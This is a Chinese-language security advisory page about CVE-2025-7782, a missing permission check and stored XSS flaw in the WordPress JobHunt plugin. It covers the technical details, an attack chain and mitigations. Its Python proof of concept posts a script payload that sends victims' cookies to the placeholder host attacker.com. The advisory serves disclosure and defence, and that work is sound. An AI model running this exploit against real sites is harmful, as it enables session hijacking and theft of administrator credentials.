IPBUF安全漏洞报告
English
CVE-2025-7782 CVSS 7.6 高危

CVE-2025-7782 WordPress JobHunt插件未授权XSS漏洞

披露日期: 2025-12-20

漏洞信息

漏洞编号
CVE-2025-7782
漏洞类型
跨站脚本(XSS)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP JobHunt plugin (JobCareer WordPress Theme)

相关标签

CVE-2025-7782WordPress插件漏洞存储型XSS权限绕过JobHuntJobCareer主题WordPress安全AJAX漏洞CVSS 7.6高危漏洞

漏洞概述

CVE-2025-7782是WordPress JobHunt招聘插件中的一个高危安全漏洞,该插件被JobCareer主题使用。漏洞源于cs_update_application_status_callback函数缺少权限检查,导致具有Candidate级别访问权限的已认证用户可以修改任意用户的求职申请状态。更严重的是,攻击者可以通过status参数注入恶意跨站脚本(XSS)代码,这些恶意代码会在其他用户查看申请记录时执行。CVSS评分7.6,属于高危漏洞,攻击复杂度低,无需用户交互即可利用。该漏洞影响JobHunt插件7.7及之前所有版本,2025年12月20日被披露。由于涉及权限提升和存储型XSS,攻击者可能窃取管理员Cookie、会话劫持或执行恶意操作。

技术细节

漏洞根源在于WordPress JobHunt插件的cs_update_application_status_callback AJAX回调函数未实施适当的权限验证。正常情况下,修改申请状态应仅限管理员或招聘人员操作,但该函数缺少current_user_can()或同等权限检查。攻击者只需拥有Candidate(求职者)角色即可调用此端点。攻击者通过向wp-admin/admin-ajax.php发送POST请求,在status参数中注入XSS payload(如<script>alert(document.cookie)</script>),该payload被存储到数据库。当招聘人员或管理员查看申请列表时,恶意脚本在受害者浏览器中执行,可实现会话劫持、凭据窃取或进一步攻击。由于是存储型XSS,攻击具有持久性。漏洞影响7.7及之前版本,Wordfence于2025年12月披露此漏洞并提供详细技术分析。

攻击链分析

STEP 1
1
攻击者获取WordPress Candidate账户(注册为求职者)
STEP 2
2
攻击者构造包含XSS payload的POST请求到admin-ajax.php
STEP 3
3
目标插件cs_update_application_status_callback函数处理请求,缺少权限验证
STEP 4
4
恶意XSS payload被存储到数据库中的申请状态字段
STEP 5
5
招聘人员/管理员访问申请管理页面,触发XSS执行
STEP 6
6
攻击者通过XSS窃取受害者Cookie或执行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-7782 PoC - Stored XSS via status parameter # Target: WordPress with JobHunt plugin <= 7.7 target_url = "http://target-wordpress-site.com" wp_admin_ajax = f"{target_url}/wp-admin/admin-ajax.php" # XSS payload for stealing cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Prepare the malicious request data = { 'action': 'cs_update_application_status_callback', 'post_id': '123', # Target job posting ID 'status': xss_payload, # XSS injection point 'candidate_id': '456' # Target candidate ID } # Send the exploit request (requires Candidate-level auth) response = requests.post(wp_admin_ajax, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: Attacker needs valid WordPress session with Candidate role

影响范围

WP JobHunt plugin <= 7.7
JobCareer WordPress Theme (bundled JobHunt)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1)使用Wordfence等安全插件启用防火墙规则;2)临时禁用JobHunt插件的申请状态更新功能;3)限制Candidate角色权限;4)对申请状态字段实施严格的输入白名单验证;5)部署Content Security Policy (CSP)头降低XSS影响。建议尽快升级到插件7.8+版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表